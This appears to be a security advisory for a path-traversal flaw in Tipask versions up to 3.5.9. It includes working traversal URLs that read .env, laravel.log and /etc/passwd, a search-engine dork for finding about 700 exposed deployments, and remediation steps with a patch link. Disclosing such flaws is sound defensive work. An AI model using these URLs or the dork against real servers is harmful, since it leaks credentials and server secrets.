http://tipask/attach/download/attachments-2021-09-4oFjTAjm6142e9d617e23.pdf

                                        attachments-2021-09-4oFjTAjm6142e9d617e23.pdf

E:\Desktop\CodeAudit\v3.5.5\storage\app\ attachments\2021\09



E:\Desktop\CodeAudit\v3.5.5\storage\logs\laravel.log


# 
E:\Desktop\CodeAudit\v3.5.5\storage\app\..-logs-laravel.log

E:\Desktop\CodeAudit\v3.5.5\.env
 
  E:\Desktop\CodeAudit\v3.5.5\storage\app\..-..-.env

The latest version of Tipask contains an “arbitrary local file download” vulnerability. An attacker can craft special input to download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc., leaking important sensitive information from the server. The impact is significant, and roughly 700+ customers on the public internet may be affected.

Introduction:

(1) In the latest version of Tipask<=3.5.9, the attachment download feature fails to restrict the path parameter supplied by the user

(2) Exploiting the vulnerability requires an authenticated user identity; an attacker who successfully exploits it can download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc.

Affected Scope:

Tipask <=3.5.9 is entirely affected, i.e., all versions of Tipask

Fofa dork: https://fofa.so/result?qbase64=YXBwPSJUaXBhc2st5YWs5Y%2B45Lqn5ZOBIg%3D%3D

There are 700+ Tipask deployments

[

](https://learnblockchain.cn/)

Reproduction Steps:

After registering and logging in, simply visit the following URLs:

https://tipask/attach/download/..-..-.env
http://tipask/attach/download/..-logs-laravel.log
http://tipask/attach/download/..-..-..-..-..-..-..-etc-passwd

Remediation

The vulnerability involves two files:

(1) app\Http\Controllers\AttachController.php

(2) The <font style="color:rgb(23, 43, 77);">image/show</font> endpoint is also affected by this issue and should be fixed as well: app\Http\Controllers\ImageController.php

  1. Restrict the directory being read, e.g., use <font style="color:rgb(23, 43, 77);">basename()</font> to process user-supplied input parameters
  2. Forbid user input parameters from containing <font style="color:rgb(23, 43, 77);">..</font>

The vendor has already released an upgrade patch to fix this security issue; the patch is available at: https://github.com/sdfsky/tipask/commit/9b5f13d1708e9a5dc0959cb8a97be1c32b94ca69